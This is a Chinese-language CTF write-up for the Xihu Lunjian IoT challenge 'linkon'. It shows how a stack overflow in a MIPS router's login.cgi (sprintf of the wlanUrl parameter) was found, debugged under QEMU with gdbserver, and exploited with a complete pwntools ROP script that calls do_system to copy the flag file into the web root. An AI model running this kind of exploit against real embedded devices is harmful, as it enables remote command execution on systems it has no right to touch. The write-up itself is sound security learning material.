第八届西湖论剑初赛IOT-linkon的wp

0x00

最近开始学习IOT了,做了一下今年年初的西湖论剑的IOT题目,过程还是挺坎坷的,记录下过程。:yum:

0x01:启动

题目给出了启动脚本,但是我们想要调试程序的话,比如

1
./gdbserver :1234 --attach PID

是没法在宿主机中访问到gdbserver开启的端口的

需要修改一下脚本,加一个端口映射。

1
2
3

sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net user,hostfwd=tcp::80-:80,hostfwd=tcp::2222-:22,hostfwd=tcp::1234-:1234 -net nic -nographic

0x02:分析程序

启动服务后,随便输点东西

image-20250515203302063

会发现程序到了cgi-bin目录下的login.cgi

分析这个文件

image-20250515210006878

32位mips程序

image-20250515204142171

web_get函数读入一个参数page,

image-20250515204219221

page参数等于Goto_chidx时,程序向下执行会进入Goto_chidx函数,

image-20250515204336900

其中的sprintf函数存在栈溢出,控制好参数wlanUrl即可通过sprintf放入v9,造成栈溢出

0x03:验证漏洞

image-20250515205351181

可以看到手动把page改为函数名,通过设置wlanUrl,可以让程序返回500,成功验证漏洞

0x04:调试程序

我们可以通过用gdbserver来调试程序gdbserver下载地址,32位mips

1
./gdbserver.mipsle :1234 --attach PID

PID为要调试进程的PID,可以通过ps -ef查看,

但是我们要调试的程序在瞬间结束的,无法通过正常方式调试到想要的函数

这时候我们可以通过把程序想要调试的部分提前在ida中patch出一个循环,让程序卡在那里,同样我们的gdb也会卡在这里,再用set命令,调整回来,即可实现调试想要调试的部分

这里我选择patch掉0x4039FC处的代码,正好再return的nop之前

image-20250515210905239

mips中无限循环的语句是
FF FF 00 10

修改后效果

image-20250515211010924

替换掉qemu中原本的login,cgi

调试脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
from pwn import *

url = "http://192.168.2.129/cgi-bin/login.cgi"

headers = {
"Host": "192.168.2.129",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "http://192.168.2.129",
"Connection": "keep-alive",
"Referer": "http://192.168.2.129/",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i"
}

payload=b'a'*0x100

data = {
'page': 'Goto_chidx',
'wlanUrl': payload,
}

response = requests.post(url, headers=headers, data=data)
print(response.text)

调试时候启动这个脚本,再ps -ef

可以看到

image-20250515211411972

多出一条与login.cgi路径很接近的进程,在启动脚本之前是没有的,猜测这就是卡住的login.cgi

gdbserver这个进程后,

在宿主机中启动gdb-multiarch 连上1234端口

image-20250515211705573

发现程序停在了预定patch的循环处,然后

1
set *0x4039fc=0x8f998078

把程序patch回来

image-20250515211802716

即可进行正常调试

0x05:漏洞利用

image-20250515213717964

在进行跳转之前有这些指令可以供我们来控制ra,s2,s1,s0

之后用到了两条gadgets

1
2
3
4
# .fini:0000A554                 lw      $gp, 16($sp)
# .fini:0000A558 nop
# .fini:0000A55C lw $ra, 28($sp)
# .fini:0000A560 jr $ra

用来恢复gp,

1
2
3
4
# .text:00007978                 la      $t9, -0x7f38($gp)
# .text:0000797C nop
# .text:00007980 jalr $t9
# .text:00007984 move $a0, $s0

用来执行do_system

参数由s0传入a0

通过在payload中设置关于sp的各种偏移,

最终执行dosystem

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
from pwn import *

url = "http://192.168.2.129/cgi-bin/login.cgi"

headers = {
"Host": "192.168.2.129",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "http://192.168.2.129",
"Connection": "keep-alive",
"Referer": "http://192.168.2.129/",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i"
}
v9=0x7fff64c0
libc_base=0x77e1e000 #/root/cpio-root/lib/libwebutil.so
stack = 0x7fff6610

payload = b"a"*0x80
payload += p32(stack+0x20-0xa0)# $s0
payload += b"a"*8
payload += p32(libc_base+0xa554)
payload += b"b"*16
payload += p32(0x77e7b550)# $gp
payload += b"c"*8
payload += p32(libc_base+0x7978)
payload += b"a"*0x20
payload += b"cp /flag /etc_ro/lighttpd/www/bbb.txt;"



data = {
'page': 'Goto_chidx',
'wlanUrl': payload,
}

response = requests.post(url, headers=headers, data=data)
print(response.text)

把文件恢复后

可以通过访问bbb.txt看到打印出的flag

image-20250515220041487

0x06:参考文章

第八届西湖论剑初赛IOT-linkon的wp | ZIKH26’s Blog

西湖论剑IOT-inkon - CH13hh